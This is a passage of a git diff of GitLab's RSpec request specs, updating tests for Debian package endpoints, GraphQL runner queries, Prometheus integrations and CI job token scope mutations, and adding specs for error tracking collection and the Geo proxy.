describe 'GET groups/:id/-/packages/debian/pool/:component/:letter/:source_package/:file_name' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/pool/#{component}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture}.deb" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/pool/#{component.name}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture.name}.deb" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO File$/
end
diff --git a/spec/requests/api/debian_project_packages_spec.rb b/spec/requests/api/debian_project_packages_spec.rb
index c11c4ecc12a..fb7da467322 100644
--- a/spec/requests/api/debian_project_packages_spec.rb
+++ b/spec/requests/api/debian_project_packages_spec.rb
@@ -15,23 +15,23 @@ RSpec.describe API::DebianProjectPackages do
describe 'GET projects/:id/packages/debian/dists/*distribution/Release' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/Release" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Release$/
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^Codename: fixture-distribution\n$/
end
describe 'GET projects/:id/packages/debian/dists/*distribution/InRelease' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/InRelease" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^Codename: fixture-distribution\n$/
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/binary-:architecture/Packages' do
- let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component}/binary-#{architecture}/Packages" }
+ let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/binary-#{architecture.name}/Packages" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Packages$/
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /Description: This is an incomplete Packages file/
end
describe 'GET projects/:id/packages/debian/pool/:component/:letter/:source_package/:file_name' do
- let(:url) { "/projects/#{container.id}/packages/debian/pool/#{component}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture}.deb" }
+ let(:url) { "/projects/#{container.id}/packages/debian/pool/#{component.name}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture.name}.deb" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO File$/
end
diff --git a/spec/requests/api/deploy_tokens_spec.rb b/spec/requests/api/deploy_tokens_spec.rb
index e8426270622..38380fa4460 100644
--- a/spec/requests/api/deploy_tokens_spec.rb
+++ b/spec/requests/api/deploy_tokens_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe API::DeployTokens do
let_it_be(:creator) { create(:user) }
let_it_be(:project) { create(:project, creator_id: creator.id) }
let_it_be(:group) { create(:group) }
+
let!(:deploy_token) { create(:deploy_token, projects: [project]) }
let!(:revoked_deploy_token) { create(:deploy_token, projects: [project], revoked: true) }
let!(:expired_deploy_token) { create(:deploy_token, projects: [project], expires_at: '1988-01-11T04:33:04-0600') }
diff --git a/spec/requests/api/deployments_spec.rb b/spec/requests/api/deployments_spec.rb
index bbfe37cb70b..38c96cd37af 100644
--- a/spec/requests/api/deployments_spec.rb
+++ b/spec/requests/api/deployments_spec.rb
@@ -456,6 +456,7 @@ RSpec.describe API::Deployments do
context 'when a user member of the deployment project' do
let_it_be(:project2) { create(:project) }
+
let!(:merge_request1) { create(:merge_request, source_project: project, target_project: project) }
let!(:merge_request2) { create(:merge_request, source_project: project, target_project: project, state: 'closed') }
let!(:merge_request3) { create(:merge_request, source_project: project2, target_project: project2) }
diff --git a/spec/requests/api/error_tracking_collector_spec.rb b/spec/requests/api/error_tracking_collector_spec.rb
new file mode 100644
index 00000000000..52d63410e7a
--- /dev/null
+++ b/spec/requests/api/error_tracking_collector_spec.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::ErrorTrackingCollector do
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:setting) { create(:project_error_tracking_setting, project: project) }
+
+ describe "POST /error_tracking/collector/api/:id/envelope" do
+ let_it_be(:raw_event) { fixture_file('error_tracking/event.txt') }
+ let_it_be(:url) { "/error_tracking/collector/api/#{project.id}/envelope" }
+
+ let(:params) { raw_event }
+
+ subject { post api(url), params: params }
+
+ RSpec.shared_examples 'not found' do
+ it 'reponds with 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ RSpec.shared_examples 'bad request' do
+ it 'responds with 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context 'error tracking feature is disabled' do
+ before do
+ setting.update!(enabled: false)
+ end
+
+ it_behaves_like 'not found'
+ end
+
+ context 'feature flag is disabled' do
+ before do
+ stub_feature_flags(integrated_error_tracking: false)
+ end
+
+ it_behaves_like 'not found'
+ end
+
+ context 'empty body' do
+ let(:params) { '' }
+
+ it_behaves_like 'bad request'
+ end
+
+ context 'unknown request type' do
+ let(:params) { fixture_file('error_tracking/unknown.txt') }
+
+ it_behaves_like 'bad request'
+ end
+
+ context 'transaction request type' do
+ let(:params) { fixture_file('error_tracking/transaction.txt') }
+
+ it 'does nothing and returns no content' do
+ expect { subject }.not_to change { ErrorTracking::ErrorEvent.count }
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+ end
+
+ it 'writes to the database and returns no content' do
+ expect { subject }.to change { ErrorTracking::ErrorEvent.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+ end
+end
diff --git a/spec/requests/api/error_tracking_spec.rb b/spec/requests/api/error_tracking_spec.rb
index 8c9ca1b6a9d..39121af7bc3 100644
--- a/spec/requests/api/error_tracking_spec.rb
+++ b/spec/requests/api/error_tracking_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe API::ErrorTracking do
let_it_be(:user) { create(:user) }
+
let(:setting) { create(:project_error_tracking_setting) }
let(:project) { setting.project }
diff --git a/spec/requests/api/feature_flags_spec.rb b/spec/requests/api/feature_flags_spec.rb
index 2cd52c0a5e5..8edf8825fb2 100644
--- a/spec/requests/api/feature_flags_spec.rb
+++ b/spec/requests/api/feature_flags_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe API::FeatureFlags do
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
let_it_be(:non_project_member) { create(:user) }
+
let(:user) { developer }
before_all do
diff --git a/spec/requests/api/freeze_periods_spec.rb b/spec/requests/api/freeze_periods_spec.rb
index 5589d4d543d..3da992301d5 100644
--- a/spec/requests/api/freeze_periods_spec.rb
+++ b/spec/requests/api/freeze_periods_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe API::FreezePeriods do
let_it_be(:project) { create(:project, :repository, :private) }
let_it_be(:user) { create(:user) }
let_it_be(:admin) { create(:admin) }
+
let(:api_user) { user }
let(:invalid_cron) { '0 0 0 * *' }
let(:last_freeze_period) { project.freeze_periods.last }
diff --git a/spec/requests/api/geo_spec.rb b/spec/requests/api/geo_spec.rb
new file mode 100644
index 00000000000..edbca5eb1c6
--- /dev/null
+++ b/spec/requests/api/geo_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Geo do
+ include WorkhorseHelpers
+
+ describe 'GET /geo/proxy' do
+ subject { get api('/geo/proxy'), headers: workhorse_headers }
+
+ include_context 'workhorse headers'
+
+ context 'with valid auth' do
+ it 'returns empty data' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_empty
+ end
+ end
+
+ it 'rejects requests that bypassed gitlab-workhorse' do
+ workhorse_headers.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/boards/board_lists_query_spec.rb b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
index cd94ce91071..2d52cddcacc 100644
--- a/spec/requests/api/graphql/boards/board_lists_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
@@ -66,6 +66,7 @@ RSpec.describe 'get board lists' do
describe 'sorting and pagination' do
let_it_be(:current_user) { user }
+
let(:data_path) { [board_parent_type, :boards, :nodes, 0, :lists] }
def pagination_query(params)
diff --git a/spec/requests/api/graphql/ci/jobs_spec.rb b/spec/requests/api/graphql/ci/jobs_spec.rb
index 3fb89d6e815..10f05efa1b8 100644
--- a/spec/requests/api/graphql/ci/jobs_spec.rb
+++ b/spec/requests/api/graphql/ci/jobs_spec.rb
@@ -38,9 +38,15 @@ RSpec.describe 'Query.project.pipeline' do
name
groups {
nodes {
+ detailedStatus {
+ id
+ }
name
jobs {
nodes {
+ detailedStatus {
+ id
+ }
name
needs {
nodes { #{all_graphql_fields_for('CiBuildNeed')} }
diff --git a/spec/requests/api/graphql/ci/pipelines_spec.rb b/spec/requests/api/graphql/ci/pipelines_spec.rb
index f207636283f..6587061094d 100644
--- a/spec/requests/api/graphql/ci/pipelines_spec.rb
+++ b/spec/requests/api/graphql/ci/pipelines_spec.rb
@@ -229,6 +229,7 @@ RSpec.describe 'Query.project(fullPath).pipelines' do
let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
let_it_be(:upstream_project) { create(:project, :repository, :public) }
let_it_be(:upstream_pipeline) { create(:ci_pipeline, project: upstream_project, user: user) }
+
let(:upstream_pipelines_graphql_data) { graphql_data.dig(*%w[project pipelines nodes]).first['upstream'] }
let(:query) do
diff --git a/spec/requests/api/graphql/ci/runner_spec.rb b/spec/requests/api/graphql/ci/runner_spec.rb
index e1f84d23209..cdd46ca4ecc 100644
--- a/spec/requests/api/graphql/ci/runner_spec.rb
+++ b/spec/requests/api/graphql/ci/runner_spec.rb
@@ -5,25 +5,25 @@ require 'spec_helper'
RSpec.describe 'Query.runner(id)' do
include GraphqlHelpers
- let_it_be(:user) { create_default(:user, :admin) }
+ let_it_be(:user) { create(:user, :admin) }
- let_it_be(:active_runner) do
+ let_it_be(:active_instance_runner) do
create(:ci_runner, :instance, description: 'Runner 1', contacted_at: 2.hours.ago,
active: true, version: 'adfe156', revision: 'a', locked: true, ip_address: '127.0.0.1', maximum_timeout: 600,
access_level: 0, tag_list: %w[tag1 tag2], run_untagged: true)
end
- let_it_be(:inactive_runner) do
+ let_it_be(:inactive_instance_runner) do
create(:ci_runner, :instance, description: 'Runner 2', contacted_at: 1.day.ago, active: false,
version: 'adfe157', revision: 'b', ip_address: '10.10.10.10', access_level: 1, run_untagged: true)
end
def get_runner(id)
case id
- when :active_runner
- active_runner
- when :inactive_runner
- inactive_runner
+ when :active_instance_runner
+ active_instance_runner
+ when :inactive_instance_runner
+ inactive_instance_runner
end
end
@@ -59,7 +59,9 @@ RSpec.describe 'Query.runner(id)' do
'accessLevel' => runner.access_level.to_s.upcase,
'runUntagged' => runner.run_untagged,
'ipAddress' => runner.ip_address,
- 'runnerType' => 'INSTANCE_TYPE'
+ 'runnerType' => 'INSTANCE_TYPE',
+ 'jobCount' => 0,
+ 'projectCount' => nil
)
expect(runner_data['tagList']).to match_array runner.tag_list
end
@@ -84,38 +86,113 @@ RSpec.describe 'Query.runner(id)' do
end
describe 'for active runner' do
- it_behaves_like 'runner details fetch', :active_runner
+ it_behaves_like 'runner details fetch', :active_instance_runner
+
+ context 'when tagList is not requested' do
+ let(:query) do
+ wrap_fields(query_graphql_path(query_path, 'id'))
+ end
+
+ let(:query_path) do
+ [
+ [:runner, { id: active_instance_runner.to_global_id.to_s }]
+ ]
+ end
+
+ it 'does not retrieve tagList' do
+ post_graphql(query, current_user: user)
+
+ runner_data = graphql_data_at(:runner)
+ expect(runner_data).not_to be_nil
+ expect(runner_data).not_to include('tagList')
+ end
+ end
end
describe 'for inactive runner' do
- it_behaves_like 'runner details fetch', :inactive_runner
+ it_behaves_like 'runner details fetch', :inactive_instance_runner
+ end
+
+ describe 'for multiple runners' do
+ let_it_be(:project1) { create(:project, :test_repo) }
+ let_it_be(:project2) { create(:project, :test_repo) }
+ let_it_be(:project_runner1) { create(:ci_runner, :project, projects: [project1, project2], description: 'Runner 1') }
+ let_it_be(:project_runner2) { create(:ci_runner, :project, projects: [], description: 'Runner 2') }
+
+ let!(:job) { create(:ci_build, runner: project_runner1) }
+
+ context 'requesting project and job counts' do
+ let(:query) do
+ %(
+ query {
+ projectRunner1: runner(id: "#{project_runner1.to_global_id}") {
+ projectCount
+ jobCount
+ }
+ projectRunner2: runner(id: "#{project_runner2.to_global_id}") {
+ projectCount
+ jobCount
+ }
+ activeInstanceRunner: runner(id: "#{active_instance_runner.to_global_id}") {
+ projectCount
+ jobCount
+ }
+ }
+ )
+ end
+
+ before do
+ project_runner2.projects.clear
+
+ post_graphql(query, current_user: user)
+ end
+
+ it 'retrieves expected fields' do
+ runner1_data = graphql_data_at(:project_runner1)
+ runner2_data = graphql_data_at(:project_runner2)
+ runner3_data = graphql_data_at(:active_instance_runner)
+
+ expect(runner1_data).to match a_hash_including(
+ 'jobCount' => 1,
+ 'projectCount' => 2)
+ expect(runner2_data).to match a_hash_including(
+ 'jobCount' => 0,
+ 'projectCount' => 0)
+ expect(runner3_data).to match a_hash_including(
+ 'jobCount' => 0,
+ 'projectCount' => nil)
+ end
+ end
end
describe 'by regular user' do
- let(:user) { create_default(:user) }
+ let(:user) { create(:user) }
- it_behaves_like 'retrieval by unauthorized user', :active_runner
+ it_behaves_like 'retrieval by unauthorized user', :active_instance_runner
end
describe 'by unauthenticated user' do
let(:user) { nil }
- it_behaves_like 'retrieval by unauthorized user', :active_runner
+ it_behaves_like 'retrieval by unauthorized user', :active_instance_runner
end
describe 'Query limits' do
def runner_query(runner)
<<~SINGLE
runner(id: "#{runner.to_global_id}") {
- #{all_graphql_fields_for('CiRunner')}
+ #{all_graphql_fields_for('CiRunner', excluded: excluded_fields)}
}
SINGLE
end
+ # Currently excluding a known N+1 issue, see https://gitlab.com/gitlab-org/gitlab/-/issues/334759
+ let(:excluded_fields) { %w[jobCount] }
+
let(:single_query) do
<<~QUERY
{
- active: #{runner_query(active_runner)}
+ active: #{runner_query(active_instance_runner)}
}
QUERY
end
@@ -123,8 +200,8 @@ RSpec.describe 'Query.runner(id)' do
let(:double_query) do
<<~QUERY
{
- active: #{runner_query(active_runner)}
- inactive: #{runner_query(inactive_runner)}
+ active: #{runner_query(active_instance_runner)}
+ inactive: #{runner_query(inactive_instance_runner)}
}
QUERY
end
diff --git a/spec/requests/api/graphql/current_user_todos_spec.rb b/spec/requests/api/graphql/current_user_todos_spec.rb
index b657f15d0e9..7f37abba74a 100644
--- a/spec/requests/api/graphql/current_user_todos_spec.rb
+++ b/spec/requests/api/graphql/current_user_todos_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe 'A Todoable that implements the CurrentUserTodos interface' do
let_it_be(:todoable) { create(:issue, project: project) }
let_it_be(:done_todo) { create(:todo, state: :done, target: todoable, user: current_user) }
let_it_be(:pending_todo) { create(:todo, state: :pending, target: todoable, user: current_user) }
+
let(:state) { 'null' }
let(:todoable_response) do
diff --git a/spec/requests/api/graphql/issue_status_counts_spec.rb b/spec/requests/api/graphql/issue_status_counts_spec.rb
index 3d8817c3bc5..89ecbf44b10 100644
--- a/spec/requests/api/graphql/issue_status_counts_spec.rb
+++ b/spec/requests/api/graphql/issue_status_counts_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe 'getting Issue counts by status' do
let_it_be(:issue_opened) { create(:issue, project: project) }
let_it_be(:issue_closed) { create(:issue, :closed, project: project) }
let_it_be(:other_project_issue) { create(:issue) }
+
let(:params) { {} }
let(:fields) do
diff --git a/spec/requests/api/graphql/metrics/dashboard_query_spec.rb b/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
index e01f59ee6a0..1b84acff0e2 100644
--- a/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
+++ b/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Getting Metrics Dashboard' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:project) { create(:project) }
let(:environment) { create(:environment, project: project) }
diff --git a/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb b/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
index b8cde32877b..1692cfbcf84 100644
--- a/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
+++ b/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Deleting Sidekiq jobs', :clean_gitlab_redis_queues do
include GraphqlHelpers
let_it_be(:admin) { create(:admin) }
+
let(:queue) { 'authorized_projects' }
let(:variables) { { user: admin.username, queue_name: queue } }
diff --git a/spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb b/spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
index cd5cefa0a9a..fcef7b4e3ec 100644
--- a/spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Setting assignees of an alert' do
let_it_be(:project) { create(:project) }
let_it_be(:current_user) { create(:user) }
let_it_be(:alert) { create(:alert_management_alert, project: project) }
+
let(:input) { { assignee_usernames: [current_user.username] } }
let(:mutation) do
diff --git a/spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb b/spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb
index cd423d7764a..48307964345 100644
--- a/spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Creating a todo for the alert' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:alert) { create(:alert_management_alert, project: project) }
let(:mutation) do
diff --git a/spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb b/spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb
index ff55656a2ae..802d8d6c5a1 100644
--- a/spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Setting the status of an alert' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:alert) { create(:alert_management_alert, project: project) }
let(:input) { { status: 'ACKNOWLEDGED' } }
diff --git a/spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb b/spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb
index e594d67aab4..ff93da2153f 100644
--- a/spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Creating a new HTTP Integration' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:variables) do
{
project_path: project.full_path,
diff --git a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
index 0ef61ae0d5b..4c359d9b357 100644
--- a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Creating a new Prometheus Integration' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:variables) do
{
project_path: project.full_path,
@@ -42,7 +43,7 @@ RSpec.describe 'Creating a new Prometheus Integration' do
it 'creates a new integration' do
post_graphql_mutation(mutation, current_user: current_user)
- new_integration = ::PrometheusService.last!
+ new_integration = ::Integrations::Prometheus.last!
integration_response = mutation_response['integration']
expect(response).to have_gitlab_http_status(:success)
diff --git a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
index d8d0ace5981..31053c50cac 100644
--- a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Resetting a token on an existing Prometheus Integration' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:integration) { create(:prometheus_service, project: project) }
+ let_it_be(:integration) { create(:prometheus_integration, project: project) }
let(:mutation) do
variables = {
diff --git a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/update_spec.rb b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
index 6c4a647a353..ad26ec118d7 100644
--- a/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Updating an existing Prometheus Integration' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:integration) { create(:prometheus_service, project: project) }
+ let_it_be(:integration) { create(:prometheus_integration, project: project) }
let(:mutation) do
variables = {
diff --git a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
index b39062f2e71..fdf5503a3a2 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Adding an AwardEmoji' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:awardable) { create(:note, project: project) }
+
let(:emoji_name) { 'thumbsup' }
let(:mutation) do
variables = {
diff --git a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
index 170e7ff3b44..6b26e37e30c 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Toggling an AwardEmoji' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:awardable) { create(:note, project: project) }
+
let(:emoji_name) { 'thumbsup' }
let(:mutation) do
variables = {
diff --git a/spec/requests/api/graphql/mutations/boards/create_spec.rb b/spec/requests/api/graphql/mutations/boards/create_spec.rb
index c5f981262ea..22d05f36f0f 100644
--- a/spec/requests/api/graphql/mutations/boards/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/boards/create_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Mutations::Boards::Create do
let_it_be(:parent) { create(:project) }
+
let(:project_path) { parent.full_path }
let(:params) do
{
diff --git a/spec/requests/api/graphql/mutations/branches/create_spec.rb b/spec/requests/api/graphql/mutations/branches/create_spec.rb
index fc09f57a389..6a098002963 100644
--- a/spec/requests/api/graphql/mutations/branches/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/branches/create_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Creation of a new branch' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project, :public, :empty_repo) }
+
let(:input) { { project_path: project.full_path, name: new_branch, ref: ref } }
let(:new_branch) { 'new_branch' }
let(:ref) { 'master' }
@@ -34,11 +35,12 @@ RSpec.describe 'Creation of a new branch' do
end
context 'when ref is not correct' do
+ err_msg = 'Failed to create branch \'another_branch\': invalid reference name \'unknown\''
let(:new_branch) { 'another_branch' }
let(:ref) { 'unknown' }
it_behaves_like 'a mutation that returns errors in the response',
- errors: ['Invalid reference name: unknown']
+ errors: [err_msg]
end
end
end
diff --git a/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb b/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
index 0d7571d91ca..05f6804a208 100644
--- a/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
+++ b/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
@@ -5,7 +5,10 @@ require 'spec_helper'
RSpec.describe 'CiCdSettingsUpdate' do
include GraphqlHelpers
- let_it_be(:project) { create(:project, keep_latest_artifact: true, ci_job_token_scope_enabled: true) }
+ let_it_be(:project) do
+ create(:project, keep_latest_artifact: true, ci_job_token_scope_enabled: true)
+ .tap(&:save!)
+ end
let(:variables) do
{
diff --git a/spec/requests/api/graphql/mutations/ci/job_token_scope/add_project_spec.rb b/spec/requests/api/graphql/mutations/ci/job_token_scope/add_project_spec.rb
new file mode 100644
index 00000000000..b53a7ddde32
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/job_token_scope/add_project_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'CiJobTokenScopeAddProject' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:target_project) { create(:project) }
+
+ let(:variables) do
+ {
+ project_path: project.full_path,
+ target_project_path: target_project.full_path
+ }
+ end
+
+ let(:mutation) do
+ graphql_mutation(:ci_job_token_scope_add_project, variables) do
+ <<~QL
+ errors
+ ciJobTokenScope {
+ projects {
+ nodes {
+ path
+ }
+ }
+ }
+ QL
+ end
+ end
+
+ let(:mutation_response) { graphql_mutation_response(:ci_job_token_scope_add_project) }
+
+ context 'when unauthorized' do
+ let(:current_user) { create(:user) }
+
+ context 'when not a maintainer' do
+ before do
+ project.add_developer(current_user)
+ end
+
+ it 'has graphql errors' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(graphql_errors).not_to be_empty
+ end
+ end
+ end
+
+ context 'when authorized' do
+ let_it_be(:current_user) { project.owner }
+
+ before do
+ target_project.add_developer(current_user)
+ end
+
+ it 'adds the target project to the job token scope' do
+ expect do
+ post_graphql_mutation(mutation, current_user: current_user)
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response.dig('ciJobTokenScope', 'projects', 'nodes')).not_to be_empty
+ end.to change { Ci::JobToken::Scope.new(project).includes?(target_project) }.from(false).to(true)
+ end
+
+ context 'when invalid target project is provided' do
+ before do
+ variables[:target_project_path] = 'unknown/project'
+ end
+
+ it 'has mutation errors' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['errors']).to contain_exactly(Ci::JobTokenScope::EditScopeValidations::TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/ci/job_token_scope/remove_project_spec.rb b/spec/requests/api/graphql/mutations/ci/job_token_scope/remove_project_spec.rb
new file mode 100644
index 00000000000..f1f42b00ada
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/job_token_scope/remove_project_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'CiJobTokenScopeRemoveProject' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:target_project) { create(:project) }
+
+ let_it_be(:link) do
+ create(:ci_job_token_project_scope_link,
+ source_project: project,
+ target_project: target_project)
+ end
+
+ let(:variables) do
+ {
+ project_path: project.full_path,
+ target_project_path: target_project.full_path
+ }
+ end
+
+ let(:mutation) do
+ graphql_mutation(:ci_job_token_scope_remove_project, variables) do
+ <<~QL
+ errors
+ ciJobTokenScope {
+ projects {
+ nodes {
+ path
+ }
+ }
+ }
+ QL
+ end
+ end
+
+ let(:mutation_response) { graphql_mutation_response(:ci_job_token_scope_remove_project) }
+
+ context 'when unauthorized' do
+ let(:current_user) { create(:user) }
+
+ context 'when not a maintainer' do
+ before do
+ project.add_developer(current_user)
+ end
+
+ it 'has graphql errors' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(graphql_errors).not_to be_empty
+ end
+ end
+ end
+
+ context 'when authorized' do
+ let_it_be(:current_user) { project.owner }
+
+ before do
+ target_project.add_guest(current_user)
+ end
+
+ it 'removes the target project from the job token scope' do
+ expect do
+ post_graphql_mutation(mutation, current_user: current_user)
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response.dig('ciJobTokenScope', 'projects', 'nodes')).not_to be_empty
+ end.to change { Ci::JobToken::Scope.new(project).includes?(target_project) }.from(true).to(false)
+ end
+
+ context 'when invalid target project is provided' do
+ before do
+ variables[:target_project_path] = 'unknown/project'
+ end
+
+ it 'has mutation errors' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['errors']).to contain_exactly(Ci::JobTokenScope::EditScopeValidations::TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/commits/create_spec.rb b/spec/requests/api/graphql/mutations/commits/create_spec.rb
index 375d4f10b40..619cba99c4e 100644
--- a/spec/requests/api/graphql/mutations/commits/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/commits/create_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Creation of a new commit' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project, :public, :repository) }
+
let(:input) { { project_path: project.full_path, branch: branch, message: message, actions: actions } }
let(:branch) { 'master' }
